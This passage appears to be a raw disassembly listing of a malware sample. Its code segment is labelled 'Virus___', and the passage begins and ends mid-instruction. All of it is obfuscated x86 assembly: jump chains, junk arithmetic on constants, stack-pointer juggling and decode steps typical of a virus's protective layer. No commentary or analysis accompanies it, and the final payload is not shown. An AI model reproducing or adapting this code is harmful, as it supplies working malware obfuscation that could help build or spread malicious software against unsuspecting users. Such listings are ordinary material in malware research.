581771AFh pop ebp jmp loc_59308A ; --------------------------------------------------------------------------- loc_582828: ; CODE XREF: Virus___:0058E809j sub esp, 4 mov [esp], eax jmp loc_591451 ; --------------------------------------------------------------------------- loc_582836: ; CODE XREF: Virus___:00584FBDj pop esp mov [esp], edx push esp mov edx, [esp] jmp loc_58F97A ; --------------------------------------------------------------------------- loc_582843: ; CODE XREF: Virus___:00586553j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push 3FE9h jmp loc_58C909 ; --------------------------------------------------------------------------- loc_582871: ; CODE XREF: Virus___:00593C49j push dword ptr [esp] pop esi add esp, 4 jmp loc_58B269 ; --------------------------------------------------------------------------- loc_58287D: ; CODE XREF: Virus___:00593E8Dj mov eax, 663D1DF7h xor eax, 1198353Ah jmp loc_581638 ; --------------------------------------------------------------------------- loc_58288C: ; CODE XREF: Virus___:0059292Bj push 249B298Bh pop edi jmp loc_585C41 ; --------------------------------------------------------------------------- loc_582897: ; CODE XREF: Virus___:005895B6j mov [esp], eax mov eax, 2 jmp loc_590CD2 ; --------------------------------------------------------------------------- loc_5828A4: ; CODE XREF: Virus___:0058D81Bj pop ebx mov eax, [esp] add esp, 4 xor eax, 25517369h jmp loc_59348A ; --------------------------------------------------------------------------- loc_5828B5: ; CODE XREF: Virus___:0057F52Fj push dword ptr [edi+24h] push ebp mov ebp, esp push edx push ecx push 0C947A46h pop ecx add ecx, 0F36B85BEh jmp loc_589F35 ; --------------------------------------------------------------------------- loc_5828CE: ; CODE XREF: Virus___:00589672j push edx push eax mov eax, 70171DC1h add eax, 73977BFEh add eax, 587D9ACBh jmp loc_5891F0 ; --------------------------------------------------------------------------- loc_5828E4: ; CODE XREF: Virus___:0057F80Cj add eax, 58E552B7h jmp loc_591CE4 ; --------------------------------------------------------------------------- loc_5828EE: ; CODE XREF: Virus___:0058C0F2j push dword ptr [esp] mov ecx, [esp] jmp loc_588CD2 ; --------------------------------------------------------------------------- loc_5828F9: ; CODE XREF: Virus___:00587F66j push 3EC1h mov [esp], edx mov dh, 61h sub bl, dh jmp loc_582555 ; --------------------------------------------------------------------------- loc_58290A: ; CODE XREF: Virus___:0058CC03j add eax, edi pop edi sub ecx, 18D13B56h add ecx, eax jmp loc_58140B ; --------------------------------------------------------------------------- loc_58291A: ; CODE XREF: Virus___:0058EAAEj sub edi, 0CBC7066h mov ecx, edi pop edi neg ecx jmp loc_58F341 ; --------------------------------------------------------------------------- loc_58292A: ; CODE XREF: Virus___:00583DB0j mov edi, [esp] add esp, 4 add esp, 4 mov edi, [esp] jmp loc_58FF6A ; --------------------------------------------------------------------------- loc_58293E: ; CODE XREF: Virus___:00583415j sub esp, 4 mov [esp], edi mov edi, 1C4DD9h xor ebp, edi pop edi jmp loc_5810A1 ; --------------------------------------------------------------------------- loc_582951: ; CODE XREF: Virus___:0058A6B6j pop ebx push eax mov eax, 52005042h jmp loc_5917BF ; --------------------------------------------------------------------------- loc_58295D: ; CODE XREF: Virus___:0058925Dj push esp mov edx, [esp] add esp, 4 push 56ABh jmp loc_592F6F ; --------------------------------------------------------------------------- loc_582971: ; CODE XREF: Virus___:0058CF18j add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ecx mov ecx, esp push eax mov eax, 4 add ecx, eax push dword ptr [esp] pop eax jmp loc_593476 ; --------------------------------------------------------------------------- loc_58298E: ; CODE XREF: Virus___:00592AA5j push ebx mov ebx, 692C3B66h xor ebx, eax xor eax, ebx xor ebx, eax not eax jmp loc_582C5F ; --------------------------------------------------------------------------- loc_5829A1: ; CODE XREF: Virus___:00591274j pop eax pop eax xchg edi, [esp] mov esp, [esp] jmp loc_58933A ; --------------------------------------------------------------------------- loc_5829AE: ; CODE XREF: Virus___:00585486j sub edi, 6CD0523h and edi, 74A07407h add edi, 0FC0C3676h sub esi, edi pop edi jmp loc_583167 ; --------------------------------------------------------------------------- loc_5829C8: ; CODE XREF: Virus___:00591A9Fj pop ecx inc edx jmp loc_589636 ; --------------------------------------------------------------------------- loc_5829CF: ; CODE XREF: Virus___:00586567j mov edi, 11174B17h add edx, edi mov edi, [esp] add esp, 4 mov ebp, [esp] push ebp mov ebp, esp push esi mov esi, 4 add ebp, 30FE3E46h add ebp, esi jmp loc_58F503 ; --------------------------------------------------------------------------- loc_5829F8: ; CODE XREF: Virus___:00582B08j pop ebp add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_582A01: ; CODE XREF: Virus___:0059052Fj push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5811D7 ; --------------------------------------------------------------------------- loc_582A15: ; CODE XREF: Virus___:005821E2j add esi, 4 jmp loc_583C19 ; --------------------------------------------------------------------------- loc_582A20: ; CODE XREF: Virus___:00591342j add esp, 4 jmp loc_589D3E ; --------------------------------------------------------------------------- loc_582A2B: ; CODE XREF: Virus___:0058EF33j pop ebx jmp loc_588327 ; --------------------------------------------------------------------------- loc_582A31: ; CODE XREF: Virus___:0058E7AAj mov [esp], edi mov edi, 28137EE8h shr edi, 4 jmp loc_5853F6 ; --------------------------------------------------------------------------- loc_582A41: ; CODE XREF: Virus___:005813B3j mov [esp], ebx mov ebx, 61115266h not ebx add ebx, 72587E53h sub ecx, ebx pop ebx pop eax xchg ecx, [esp] pop esp push esi mov esi, esp add esi, 4 push ebx push 4 pop ebx jmp loc_590234 ; --------------------------------------------------------------------------- loc_582A6E: ; CODE XREF: Virus___:0058C2D0j push esp pop ebx push 26A7h mov [esp], edi jmp loc_57F84E ; --------------------------------------------------------------------------- loc_582A7D: ; CODE XREF: Virus___:00589585j mov eax, 4 add esi, eax pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_5885FA ; --------------------------------------------------------------------------- loc_582A97: ; CODE XREF: Virus___:00582F01j xor ebp, esi pop esi or eax, ebp pop ebp jmp loc_58025D ; --------------------------------------------------------------------------- loc_582AA2: ; CODE XREF: Virus___:0058122Ej mov [esp], ebx push esp push dword ptr [esp] pop ebx jmp loc_583362 ; --------------------------------------------------------------------------- loc_582AAF: ; CODE XREF: Virus___:00594223j mov [esp], edx jmp loc_57F652 ; --------------------------------------------------------------------------- loc_582AB7: ; CODE XREF: Virus___:005809B7j add eax, 4 add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp pop small word ptr [esp] push edi push esp pop edi push ebp mov ebp, 71BA25CBh push eax mov eax, 653C4A5Fh inc eax xor eax, 0EB799059h add ebp, eax pop eax add edi, ebp pop ebp push ebp mov ebp, 2DDD332Ch not ebp xor ebp, 762311DDh or ebp, 341A6090h dec ebp jmp loc_58F549 ; --------------------------------------------------------------------------- loc_582B02: ; CODE XREF: Virus___:00580D85j and [edi+1Ch], ebp push dword ptr [esp] jmp loc_5829F8 ; --------------------------------------------------------------------------- loc_582B0D: ; CODE XREF: Virus___:0058B0C6j add dword ptr [esp+4], 7D7472A0h mov edx, [esp] add esp, 4 add dword ptr [esp], 6490E20h add dword ptr [esp], 48AF343Ch sub [esp], eax jmp loc_5821F9 ; --------------------------------------------------------------------------- loc_582B34: ; CODE XREF: Virus___:00580407j sub [esp+4], ebx pop ebx mov edx, [esp] add esp, 4 add edx, 18C54161h pop ebp add esi, edx jmp loc_5882E5 ; --------------------------------------------------------------------------- loc_582B50: ; CODE XREF: Virus___:0058E9D1j push 1480h mov [esp], ecx mov ecx, 135E580Bh push 78ECh jmp loc_5855A1 ; --------------------------------------------------------------------------- loc_582B67: ; CODE XREF: Virus___:0058842Bj sub ebx, 0CD8BC5BFh add eax, ebx pop ebx add eax, ecx sub eax, 77943C60h pop ecx sub esp, 4 mov [esp], edx push esi jmp loc_58702D ; --------------------------------------------------------------------------- loc_582B84: ; CODE XREF: Virus___:005876F3j neg ebp inc ebp xor ebp, 0F02A23A1h mov esi, ebp pop ebp not esi push 5B6Bh mov [esp], ecx mov ecx, 3C4A6FC3h sub esi, ecx jmp loc_590E3B ; --------------------------------------------------------------------------- loc_582BA6: ; CODE XREF: Virus___:00586B07j mov eax, 57AB4152h jmp loc_593892 ; --------------------------------------------------------------------------- loc_582BB0: ; CODE XREF: Virus___:0058188Aj shl eax, 2 sub eax, 41EA2BDEh push edx mov edx, 0E0F7EA26h sub eax, 2C25C73h jmp loc_583792 ; --------------------------------------------------------------------------- loc_582BC8: ; CODE XREF: Virus___:0058948Dj xor esi, 7A5B261Fh jmp loc_59259C ; --------------------------------------------------------------------------- loc_582BD3: ; CODE XREF: Virus___:0058CEADj mov eax, [esp] add esp, 4 pop esi xchg edi, [esp] pop esp bts [esp], ax pushf jmp loc_5910CF ; --------------------------------------------------------------------------- loc_582BEC: ; CODE XREF: Virus___:00586EC0j mov bh, al pop eax jmp loc_589644 ; --------------------------------------------------------------------------- loc_582BF4: ; CODE XREF: Virus___:005900D6j inc ecx add ecx, 7C370D62h shl ecx, 4 or ecx, 50033303h xor ecx, 0D0882F35h jmp loc_588E73 ; --------------------------------------------------------------------------- loc_582C0F: ; CODE XREF: Virus___:0058CF0Dj push eax jmp loc_58AE80 ; --------------------------------------------------------------------------- loc_582C15: ; CODE XREF: Virus___:0058A808j mov esi, [esp] add esp, 4 push 5F2Fh mov [esp], ebx push dword ptr [esp+4] jmp loc_592430 ; --------------------------------------------------------------------------- loc_582C2C: ; CODE XREF: Virus___:0058B7E1j add ecx, 48653DD1h jmp loc_580342 ; --------------------------------------------------------------------------- loc_582C37: ; CODE XREF: Virus___:00590D60j pop ebx add ebx, 4 push ebp jmp loc_58BB75 ; --------------------------------------------------------------------------- loc_582C44: ; CODE XREF: Virus___:005834F6j neg ebp dec ebp xor ebp, 59255425h jmp loc_593FDB ; --------------------------------------------------------------------------- loc_582C52: ; CODE XREF: Virus___:005900ACj push 500Ch mov [esp], ecx jmp loc_591E47 ; --------------------------------------------------------------------------- loc_582C5F: ; CODE XREF: Virus___:0058299Cj xchg eax, ebx dec ebx shr ebx, 6 jmp loc_58E9B4 ; --------------------------------------------------------------------------- loc_582C69: ; CODE XREF: Virus___:00591BEEj push dword ptr [esp] jmp loc_5926E9 ; --------------------------------------------------------------------------- loc_582C71: ; CODE XREF: Virus___:00585638j push ebp jmp loc_58776F ; --------------------------------------------------------------------------- loc_582C77: ; CODE XREF: Virus___:00583BC8j push edi mov edi, 4B675D91h shr edi, 7 shl edi, 7 push 4FEBh jmp loc_58E61A ; --------------------------------------------------------------------------- loc_582C8D: ; CODE XREF: Virus___:00591C31j mov al, 0F2h jmp loc_58959F ; --------------------------------------------------------------------------- loc_582C94: ; CODE XREF: Virus___:0058C4AEj sub esp, 4 jmp loc_583B41 ; --------------------------------------------------------------------------- loc_582C9C: ; CODE XREF: Virus___:005867FBj mov eax, [esp] add esp, 4 xor [esp+4], edi pop edi mov edi, [esp] jmp loc_589BEE ; --------------------------------------------------------------------------- loc_582CAF: ; CODE XREF: Virus___:00588C58j push ecx jmp loc_5836DC ; --------------------------------------------------------------------------- loc_582CB5: ; CODE XREF: Virus___:0058BFBDj push ecx push esp pop ecx jmp loc_58B7CA ; --------------------------------------------------------------------------- loc_582CBD: ; CODE XREF: Virus___:005881CCj mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] push 5805h mov [esp], esi mov esi, esp add esi, 4 push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp] mov esp, [esp] push esi push ebx jmp loc_592BCF ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp push eax push 26B93A4Ch mov eax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_592A44 ; --------------------------------------------------------------------------- loc_582D27: ; CODE XREF: Virus___:0058C350j xor ebp, 27F463B7h jmp loc_58D9EF ; --------------------------------------------------------------------------- loc_582D32: ; CODE XREF: Virus___:00586C5Fj pop ebx jmp loc_58083F ; --------------------------------------------------------------------------- loc_582D38: ; CODE XREF: Virus___:00585F1Aj sub ax, 69C9h push ecx push esi jmp loc_583516 ; --------------------------------------------------------------------------- loc_582D43: ; CODE XREF: Virus___:0057F5BAj mov [esp], ecx mov ecx, 4B701AE3h jmp loc_58D1AA ; --------------------------------------------------------------------------- loc_582D50: ; CODE XREF: Virus___:005921F6j push ecx mov ecx, esp jmp loc_58CF12 ; --------------------------------------------------------------------------- loc_582D58: ; CODE XREF: Virus___:00587316j pop ebx add ecx, esi sub ecx, 7FA22EDCh pop esi jmp loc_58816C ; --------------------------------------------------------------------------- loc_582D67: ; CODE XREF: Virus___:005891CFj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_58FC2D ; --------------------------------------------------------------------------- loc_582D7C: ; CODE XREF: Virus___:0059293Bj add eax, 4 jmp loc_586E54 ; --------------------------------------------------------------------------- loc_582D84: ; CODE XREF: Virus___:0058A456j mov edx, 554B2F26h push edi mov edi, 2CEB54CCh or edx, edi pop edi sub edx, 7B35669h mov esi, edx pop edx push edi mov edi, 31CF7230h add esi, edi pop edi push eax mov eax, 1E4F03E5h or eax, 2D204DFBh jmp loc_581DFD ; --------------------------------------------------------------------------- loc_582DB4: ; CODE XREF: Virus___:0058EA42j add esi, edx pop edx add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_5896FA ; --------------------------------------------------------------------------- loc_582DD2: ; CODE XREF: Virus___:0058171Ej pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] jmp loc_588767 ; --------------------------------------------------------------------------- loc_582DE4: ; CODE XREF: Virus___:0058D304j add dl, 1 jmp loc_58A259 ; --------------------------------------------------------------------------- loc_582DEC: ; CODE XREF: Virus___:00581573j sub edi, 0E7BA3639h jmp loc_57F624 ; --------------------------------------------------------------------------- loc_582DF7: ; CODE XREF: Virus___:005875BAj mov esi, esp jmp loc_583626 ; --------------------------------------------------------------------------- loc_582DFE: ; CODE XREF: Virus___:00581B50j push esp jmp loc_583F8F ; --------------------------------------------------------------------------- loc_582E04: ; CODE XREF: Virus___:0058A29Cj dec bh jmp loc_580D4D ; --------------------------------------------------------------------------- loc_582E0B: ; CODE XREF: Virus___:00593B93j mov ebp, 35BE7809h sub ebp, 3C0C5E48h xor ebp, 32BC25F7h jmp loc_5840EF ; --------------------------------------------------------------------------- loc_582E21: ; CODE XREF: Virus___:0057F90Ej mov [esp], ebx push ebp mov ebp, 687C44B0h mov ebx, ebp pop ebp shl ebx, 7 add ebx, 2286BDCFh add esi, 18B2155Eh add esi, ebx sub esi, 18B2155Eh pop ebx pop ecx xchg esi, [esp] jmp loc_587266 ; --------------------------------------------------------------------------- loc_582E4E: ; CODE XREF: Virus___:00586220j xor al, dh pop edx xor dl, al pop eax add bl, 0F2h add bl, dl jmp loc_58FEEA ; --------------------------------------------------------------------------- loc_582E5E: ; CODE XREF: Virus___:00588C43j sub ebp, edi mov edi, [esp] jmp loc_5852D6 ; --------------------------------------------------------------------------- loc_582E68: ; CODE XREF: Virus___:00589FBDj xchg edx, ecx not edx xchg edx, ecx dec ecx not ecx xor ecx, 43394C1Ah jmp loc_58D6BF ; --------------------------------------------------------------------------- loc_582E7C: ; CODE XREF: Virus___:00592062j mov ecx, edi sub esp, 4 mov [esp], ecx sub dword ptr [esp], 75D16975h mov edx, [esp] jmp loc_581D64 ; --------------------------------------------------------------------------- loc_582E93: ; CODE XREF: Virus___:005817C8j neg cl jmp loc_58DC0B ; --------------------------------------------------------------------------- loc_582E9A: ; CODE XREF: Virus___:00587EBEj pop edx sub bh, 0FFh jmp loc_580FBC ; --------------------------------------------------------------------------- loc_582EA3: ; CODE XREF: Virus___:0058A295j add ebx, esi pop esi sub ecx, ebx pop ebx sub ecx, esi jmp loc_58C061 ; --------------------------------------------------------------------------- loc_582EB0: ; CODE XREF: Virus___:0057FE73j push dword ptr [esp+4] push dword ptr [esp] pop ebx jmp loc_580658 ; --------------------------------------------------------------------------- loc_582EBD: ; CODE XREF: Virus___:005819DCj and esi, 1AF47D74h add esi, 0FFBF8F00h add ebx, esi pop esi push edx mov edx, 4 push 2EECh mov [esp], ecx mov ecx, 459E6FFAh jmp loc_58FB08 ; --------------------------------------------------------------------------- loc_582EE4: ; CODE XREF: Virus___:005801AFj push esi jmp loc_5864F1 ; --------------------------------------------------------------------------- loc_582EEA: ; CODE XREF: Virus___:00589BE9j inc eax add eax, 2C040EFFh push ebp mov ebp, 6327602Dh sub esp, 4 mov [esp], esi mov esi, 6A6B32E5h jmp loc_582A97 ; --------------------------------------------------------------------------- loc_582F06: ; CODE XREF: Virus___:00583347j xchg ecx, [esp] pop esp jmp loc_59028A ; --------------------------------------------------------------------------- loc_582F0F: ; CODE XREF: Virus___:00580FB7j push dword ptr [esp] pop edx sub esp, 4 jmp loc_58EE81 ; --------------------------------------------------------------------------- loc_582F1E: ; CODE XREF: Virus___:0058D7B7j mov ebx, [esp] add esp, 4 add eax, 4DD1C4Fh push ebx jmp loc_59338F ; --------------------------------------------------------------------------- loc_582F32: ; CODE XREF: Virus___:0058F274j add ecx, ebx pop ebx xor ecx, 183B0326h sub eax, 12153EC3h add eax, 0BAC41CDh jmp loc_58DA36 ; --------------------------------------------------------------------------- loc_582F4A: ; CODE XREF: Virus___:005929ADj mov [esp], esi mov esi, esp jmp loc_585423 ; --------------------------------------------------------------------------- loc_582F54: ; CODE XREF: Virus___:00585E08j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_58A465 ; --------------------------------------------------------------------------- loc_582F75: ; CODE XREF: Virus___:0058201Ej pop eax mov ebp, edx jmp loc_587A03 ; --------------------------------------------------------------------------- loc_582F7D: ; CODE XREF: Virus___:00587A92j inc edx xor edx, 5EE3171Bh add ebp, edx jmp loc_57FB0C ; --------------------------------------------------------------------------- loc_582F8B: ; CODE XREF: Virus___:0058AE88j sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_57FDF4 ; --------------------------------------------------------------------------- loc_582F9D: ; CODE XREF: Virus___:00592CE5j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_58D19A ; --------------------------------------------------------------------------- loc_582FA9: ; CODE XREF: Virus___:0058432Bj push 2F9Eh mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58A8DB ; --------------------------------------------------------------------------- loc_582FC4: ; CODE XREF: Virus___:0058A3F2j dec ah jmp loc_5815C1 ; --------------------------------------------------------------------------- loc_582FCB: ; CODE XREF: Virus___:0058FD3Ej pop ebx add ecx, edx add ecx, 5ED532E2h mov edx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_5897E7 ; --------------------------------------------------------------------------- loc_582FF1: ; CODE XREF: Virus___:0058F937j push 1C88h mov [esp], esp jmp loc_591203 ; --------------------------------------------------------------------------- loc_582FFE: ; CODE XREF: Virus___:00587D9Ej sub ebp, 516D0206h mov eax, ebp pop ebp sub [esp+8], eax pop eax jmp loc_580B50 ; --------------------------------------------------------------------------- loc_583011: ; CODE XREF: Virus___:005877B8j not eax jmp loc_58AA66 ; --------------------------------------------------------------------------- loc_583018: ; CODE XREF: Virus___:0058CE26j mov ebx, 95FFE97Bh add esi, ebx pop ebx add ecx, 4DBC4552h jmp loc_5940B9 ; --------------------------------------------------------------------------- loc_58302B: ; CODE XREF: Virus___:0058DC21j mov [esp], esi mov esi, esp sub esp, 4 mov [esp], edx mov edx, 350224C3h push eax mov eax, 98D0E8Eh xchg eax, ebp push ebp xchg ebp, [esp] not ebp xchg ebp, [esp] pop ebp jmp loc_581679 ; --------------------------------------------------------------------------- loc_583054: ; CODE XREF: Virus___:00580AF0j push ebp push 720EA6ADh mov ebp, [esp] jmp loc_58C1A3 ; --------------------------------------------------------------------------- loc_583062: ; CODE XREF: Virus___:00580471j pop ecx push eax mov eax, 38492D38h add edi, eax pop eax add edi, esi sub edi, 38492D38h pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mul cl movzx cx, ah push 4025h mov [esp], eax mov eax, esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], edi push 5E1Fh mov [esp], ebx jmp loc_58C293 ; --------------------------------------------------------------------------- loc_5830BA: ; CODE XREF: Virus___:0058A421j mov esi, esp jmp loc_58AEE9 ; --------------------------------------------------------------------------- loc_5830C1: ; CODE XREF: Virus___:0058CE89j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_5880EC ; --------------------------------------------------------------------------- loc_5830DC: ; CODE XREF: Virus___:00590CB7j pop ecx sub eax, 1444E86h jmp loc_58BB89 ; --------------------------------------------------------------------------- loc_5830E7: ; CODE XREF: Virus___:0059414Ej xor ebp, 5F3006F1h xor eax, ebp pop ebp jmp loc_583445 ; --------------------------------------------------------------------------- loc_5830F5: ; CODE XREF: Virus___:00592B17j mov [ebx], al push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58310C: ; CODE XREF: Virus___:00583593j sub edx, ecx sub edx, 68FB7ADAh pop ecx add eax, edx pop edx push ebp mov ebp, 515B2033h add eax, ebp jmp loc_58A39A ; --------------------------------------------------------------------------- loc_583125: ; CODE XREF: Virus___:0058ACEFj add ebx, 7ABC6319h or ebx, 7FFF302Ah shl ebx, 1 dec ebx push 78B5h mov [esp], esi jmp loc_58EF4B ; --------------------------------------------------------------------------- loc_583141: ; CODE XREF: Virus___:00589860j pop ebx jmp loc_58AFEC ; --------------------------------------------------------------------------- loc_583147: ; CODE XREF: Virus___:00590F7Aj xchg edi, [esp] jmp loc_5814E6 ; --------------------------------------------------------------------------- loc_58314F: ; CODE XREF: Virus___:0057FF5Bj sub edx, ebp jmp loc_57FD0C ; --------------------------------------------------------------------------- loc_583156: ; CODE XREF: Virus___:0059435Aj pop eax jmp loc_594556 ; --------------------------------------------------------------------------- loc_58315C: ; CODE XREF: Virus___:00584BAFj push edi push 7018h jmp loc_5823F1 ; --------------------------------------------------------------------------- loc_583167: ; CODE XREF: Virus___:005829C3j push dword ptr [esp] pop edx jmp loc_584ED0 ; --------------------------------------------------------------------------- loc_583170: ; CODE XREF: Virus___:0058873Ej add esp, 4 pop dword ptr [esp] pop esp jmp loc_588271 ; --------------------------------------------------------------------------- loc_58317C: ; CODE XREF: Virus___:005847ABj pop edx add esi, eax pop eax jmp loc_580191 ; --------------------------------------------------------------------------- loc_583185: ; CODE XREF: Virus___:0057F6B1j add edx, eax push dword ptr [esp] pop eax jmp loc_57FB21 ; --------------------------------------------------------------------------- loc_583190: ; CODE XREF: Virus___:0059211Ej neg esi add esi, 0C6549D94h xor esi, 623864h jmp loc_58D88B ; --------------------------------------------------------------------------- loc_5831A3: ; CODE XREF: Virus___:00589AE3j pop ecx sub al, dh sub al, 7Bh jmp loc_5833C0 ; --------------------------------------------------------------------------- loc_5831AD: ; CODE XREF: Virus___:00581F47j add edx, eax pop eax add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5929A7 ; --------------------------------------------------------------------------- loc_5831C6: ; CODE XREF: Virus___:00590285j pop eax sub eax, 0FFFFFFFFh or eax, 645D25EBh and eax, 46180FF6h jmp loc_58DBD9 ; --------------------------------------------------------------------------- loc_5831DB: ; CODE XREF: Virus___:0058B07Cj xchg edx, [esp] jmp loc_5837FD ; --------------------------------------------------------------------------- loc_5831E3: ; CODE XREF: Virus___:0057FE46j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or eax, eax jz loc_591841 push dword ptr [edi+28h] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx push 3EBAh push esp pop dword ptr [esp] jmp loc_58E69B ; --------------------------------------------------------------------------- loc_58321B: ; CODE XREF: Virus___:00592A3Fj add edi, 80A2B059h add dword ptr [esp+4], 0B4A3F57h add [esp+4], edi sub dword ptr [esp+4], 0B4A3F57h pop edi mov edx, [esp] jmp loc_58C119 ; --------------------------------------------------------------------------- loc_58323E: ; CODE XREF: Virus___:0058675Ej mov eax, esp jmp loc_58CCA5 ; --------------------------------------------------------------------------- loc_583245: ; CODE XREF: Virus___:0059215Fj and ebx, 74822607h push edi mov edi, 5DE83C4Dh and edi, 6C8A569Bh push esi mov esi, 5F7152FEh add edi, esi pop esi not edi neg edi add edi, 1 sub edi, 4C6E4E51h and ebx, edi jmp loc_58A0FE ; --------------------------------------------------------------------------- loc_583274: ; CODE XREF: Virus___:0058AB98j push 401A7124h pop ebx jmp loc_58EFA0 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp jmp loc_587884 ; --------------------------------------------------------------------------- loc_58328A: ; CODE XREF: Virus___:0057FE52j push 165Bh mov [esp], ebx push 51C3h jmp loc_5935DB ; --------------------------------------------------------------------------- loc_58329C: ; CODE XREF: Virus___:0058B6B9j push eax mov eax, 2 jmp loc_591EC1 ; --------------------------------------------------------------------------- loc_5832A7: ; CODE XREF: Virus___:005936CEj add edx, ecx pop ecx add edx, 354270Ah jmp loc_59036B ; --------------------------------------------------------------------------- loc_5832B5: ; CODE XREF: Virus___:005804A7j neg cl or cl, 0E3h shr cl, 1 shr cl, 3 jmp loc_58AE6B ; --------------------------------------------------------------------------- loc_5832C4: ; CODE XREF: Virus___:00591183j mov edi, [esp] push ecx mov ecx, esp push eax mov eax, 416A4FBCh inc eax add eax, 3CB31294h add eax, 81E29DB3h jmp loc_583863 ; --------------------------------------------------------------------------- loc_5832E0: ; CODE XREF: Virus___:00592188j push dword ptr [esp] pop edx jmp loc_58F0C7 ; --------------------------------------------------------------------------- lodsd sub eax, 2D8B28E5h sub eax, 5FFB3B1Eh push ebx mov ebx, 1F7E0FE9h and ebx, 41493D8Ah shl ebx, 7 sub ebx, 566C57C2h jmp loc_589CDF ; --------------------------------------------------------------------------- loc_58330E: ; CODE XREF: Virus___:0057FC8Fj add eax, 4 jmp loc_58F356 ; --------------------------------------------------------------------------- loc_583318: ; CODE XREF: Virus___:0058BBEBj add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx jmp loc_590F7F ; --------------------------------------------------------------------------- loc_583332: ; CODE XREF: Virus___:0058EA54j add esp, 4 jmp loc_584322 ; --------------------------------------------------------------------------- loc_58333A: ; CODE XREF: Virus___:00584D2Fj pop ebp push edi jmp loc_58CE07 ; --------------------------------------------------------------------------- loc_583341: ; CODE XREF: Virus___:00582004j sub ecx, 4 jmp loc_582F06 ; --------------------------------------------------------------------------- loc_58334C: ; CODE XREF: Virus___:00584B25j xor edi, 951FE073h mov eax, edi jmp loc_591CB6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_58D039 ; --------------------------------------------------------------------------- loc_583362: ; CODE XREF: Virus___:00582AAAj add esp, 4 jmp loc_585CC0 ; --------------------------------------------------------------------------- loc_58336D: ; CODE XREF: Virus___:00588842j sub [esp+4], edi mov edi, [esp] add esp, 4 pop eax add eax, 3F64BF3h mov ecx, [esp] jmp loc_593365 ; --------------------------------------------------------------------------- loc_583385: ; CODE XREF: Virus___:0058D5C6j push ecx mov ecx, 66480764h shr ecx, 1 jmp loc_5813FE ; --------------------------------------------------------------------------- loc_583392: ; CODE XREF: Virus___:00590548j mov ecx, 146B3A73h xor eax, ecx pop ecx or eax, 2B3A3A3Fh xor eax, 0CA95EB0h xor edx, eax pop eax mov ecx, [esp] add esp, 4 xor edx, ecx mov ecx, [esp] add esp, 4 shl edx, 8 jmp loc_580938 ; --------------------------------------------------------------------------- loc_5833C0: ; CODE XREF: Virus___:005831A8j pop edx push 2AC1h mov [esp], eax mov al, 29h neg al jmp loc_590946 ; --------------------------------------------------------------------------- loc_5833D2: ; CODE XREF: Virus___:005933BAj xor esi, eax mov eax, [esp] add esp, 4 sub eax, 0BFC591Dh add eax, esi push 4038h mov [esp], esi mov esi, 0BFC591Dh add eax, esi jmp loc_584E4F ; --------------------------------------------------------------------------- loc_5833F8: ; CODE XREF: Virus___:0057F627j mov ecx, [esp] add esp, 4 pop ecx jmp loc_58A1B3 ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, 3E257892h not ebp add ebp, 174B5F9Fh shl ebp, 1 jmp loc_58293E ; --------------------------------------------------------------------------- loc_58341A: ; CODE XREF: Virus___:00590248j push esp pop esi push edi mov edi, 4 add esi, edi pop edi sub esp, 4 mov [esp], edx push ebp mov ebp, 1CFE1A85h sub ebp, 2CB52BB0h jmp loc_58E8B4 ; --------------------------------------------------------------------------- loc_58343F: ; CODE XREF: Virus___:0058AD9Dj push ecx jmp loc_58FB2E ; --------------------------------------------------------------------------- loc_583445: ; CODE XREF: Virus___:005830F0j or edi, eax pop eax push eax mov eax, 407071F6h or edi, eax jmp loc_58549D ; --------------------------------------------------------------------------- loc_583455: ; CODE XREF: Virus___:00581590j push edi push eax mov eax, 29BA4253h sub eax, 0EEE4B03h not eax sub eax, 7AC0457Dh jmp loc_57F7F2 ; --------------------------------------------------------------------------- loc_58346D: ; CODE XREF: Virus___:00589335j mov ebp, 5AB34725h or ebp, 61605FADh shl ebp, 1 inc ebp xor ebp, 157F75E1h neg ebp add ebp, 0E299CABEh add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx jmp loc_58C0DE ; --------------------------------------------------------------------------- loc_583497: ; CODE XREF: Virus___:00582548j inc ecx push ebp push edi mov edi, 137670D2h mov ebp, edi pop edi and 